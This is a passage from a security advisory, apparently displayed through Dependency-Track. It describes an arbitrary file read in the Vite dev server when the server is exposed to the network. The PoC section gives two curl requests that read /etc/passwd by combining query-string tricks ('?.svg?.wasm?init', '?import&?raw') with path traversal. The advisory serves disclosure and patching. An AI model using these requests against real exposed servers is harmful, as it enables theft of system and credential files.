Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Score
Description
### Summary
The contents of arbitrary files can be returned to the browser.
### Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.
### Details
#### `.svg`
Requests ending with `.svg` are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+.
#### relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`).
### PoC
```bash
npm create vite@latest
cd vite-project/
npm install
npm run dev
```
send request to read `etc/passwd`
```bash
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
```
```bash
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
```
Same vulnerability as